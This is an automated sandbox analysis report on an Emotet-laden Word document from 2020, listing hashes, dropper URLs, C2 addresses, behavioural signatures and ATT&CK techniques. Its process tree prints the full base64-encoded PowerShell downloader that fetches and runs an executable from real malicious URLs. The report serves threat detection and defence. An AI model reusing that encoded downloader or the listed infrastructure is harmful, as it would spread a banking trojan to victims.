emotet | 0bd2032e1ffe665517a03c7cbbea75705c7cf7af00789df956c635d752939ad6

General

Target

emotet_e2_0bd2032e1ffe665517a03c7cbbea75705c7cf7af00789df956c635d752939ad6_2020-07-31__192844._doc.doc
Size

174KB
MD5

798883953154bcafba38ff977602a41b
SHA1

05b09f38c6fd1e93dd5d4ae67f5613bb956b9fa2
SHA256

0bd2032e1ffe665517a03c7cbbea75705c7cf7af00789df956c635d752939ad6
SHA512

53d1535bef11505ce63cf6b3dc90eceb42b24850cab7a4dfc8b26900fab262e76a1cf57d3c31fe478c5b0100da154d0c63d058315024640bc8a8499a38eec688

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://nwcsvcs.com/cgi-bin/uz6_qs8_qr/

exe.dropper

http://odessaresources.com/cgi-bin/3_o_but9/

exe.dropper

https://onefarmdesign.com/cgi-bin/u_fig_m2mv/

exe.dropper

http://onewithyoucd.com/_mm/oix_ktcpc_dljhsex/

exe.dropper

http://www.piemonteitinera.net/n_g2o4_jumkt4/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3424 wrote to memory of 1652	3424	849.exe	78
PID 3424 wrote to memory of 1652	3424	849.exe	78
PID 3424 wrote to memory of 1652	3424	849.exe	78

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3424-10-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3424-10-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/1652-13-0x0000000000590000-0x000000000059C000-memory.dmp	emotet
behavioral2/memory/1652-13-0x0000000000590000-0x000000000059C000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\TaskApis\bcryptprimitives.exe	849.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2636	powersheLL.exe
2636	powersheLL.exe
2636	powersheLL.exe
1652	bcryptprimitives.exe
1652	bcryptprimitives.exe
1652	bcryptprimitives.exe
1652	bcryptprimitives.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	2636	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3424	849.exe
1652	bcryptprimitives.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3424	849.exe
1652	bcryptprimitives.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2636	900	powersheLL.exe	66

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0bd2032e1ffe665517a03c7cbbea75705c7cf7af00789df956c635d752939ad6_2020-07-31__192844._doc.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATwBJAEcARwBJAGIAdABwACAAPQAgACcAOAA0ADkAJwA7ACQAQQBZAEsAUABVAGkAbABxAD0AJwBZAEgARgBOAEsAYwBjAG8AJwA7ACQAVwBGAEIATgBTAHMAdgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAEkARwBHAEkAYgB0AHAAKwAnAC4AZQB4AGUAJwA7ACQAUwBIAEUAWQBRAHAAdgB1AD0AJwBDAFgARQBKAFcAZQBkAHAAJwA7ACQARgBHAFYATQBUAGgAaQBiAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAEUATgBUADsAJABOAFEAQwBLAE0AdwBhAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgB3AGMAcwB2AGMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAegA2AF8AcQBzADgAXwBxAHIALwAqAGgAdAB0AHAAOgAvAC8AbwBkAGUAcwBzAGEAcgBlAHMAbwB1AHIAYwBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAzAF8AbwBfAGIAdQB0ADkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBmAGEAcgBtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdQBfAGYAaQBnAF8AbQAyAG0AdgAvACoAaAB0AHQAcAA6AC8ALwBvAG4AZQB3AGkAdABoAHkAbwB1AGMAZAAuAGMAbwBtAC8AXwBtAG0ALwBvAGkAeABfAGsAdABjAHAAYwBfAGQAbABqAGgAcwBlAHgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGkAZQBtAG8AbgB0AGUAaQB0AGkAbgBlAHIAYQAuAG4AZQB0AC8AbgBfAGcAMgBvADQAXwBqAHUAbQBrAHQANAAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABOAFcAVgBMAGcAaABjAD0AJwBUAEsAVgBLAEgAbwBkAHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAUABIAEgAWgBpAGMAcgAgAGkAbgAgACQATgBRAEMASwBNAHcAYQB5ACkAewB0AHIAeQB7ACQARgBHAFYATQBUAGgAaQBiAC4AIgBkAE8AdwBOAGwATwBBAGQAZgBgAEkAYABsAEUAIgAoACQARgBQAEgASABaAGkAYwByACwAIAAkAFcARgBCAE4AUwBzAHYAcwApADsAJABMAEIASABVAFQAegBhAGoAPQAnAEQATwBMAEIASgB2AHUAbgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFcARgBCAE4AUwBzAHYAcwApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAMAA3ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABXAEYAQgBOAFMAcwB2AHMAKQA7ACQAWABWAFgAUgBPAHUAYwBrAD0AJwBTAFAAUQBHAEQAcQByAG4AJwA7AGIAcgBlAGEAawA7ACQAVQBVAFgAVQBDAG4AZABuAD0AJwBTAEEAQQBQAFUAbgBmAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBLAFQAWgBRAG8AcABxAD0AJwBOAEkASABLAFMAaQB1AHMAJwA=
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
PID:2636

C:\Users\Admin\849.exe
C:\Users\Admin\849.exe
1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3424
- C:\Windows\SysWOW64\TaskApis\bcryptprimitives.exe
  "C:\Windows\SysWOW64\TaskApis\bcryptprimitives.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1652-13-0x0000000000590000-0x000000000059C000-memory.dmp

Filesize
48KB

Download
memory/3424-10-0x0000000000600000-0x000000000060C000-memory.dmp

Filesize
48KB

Download
memory/3488-3-0x000001CB567E6000-0x000001CB567F7000-memory.dmp

Filesize
68KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads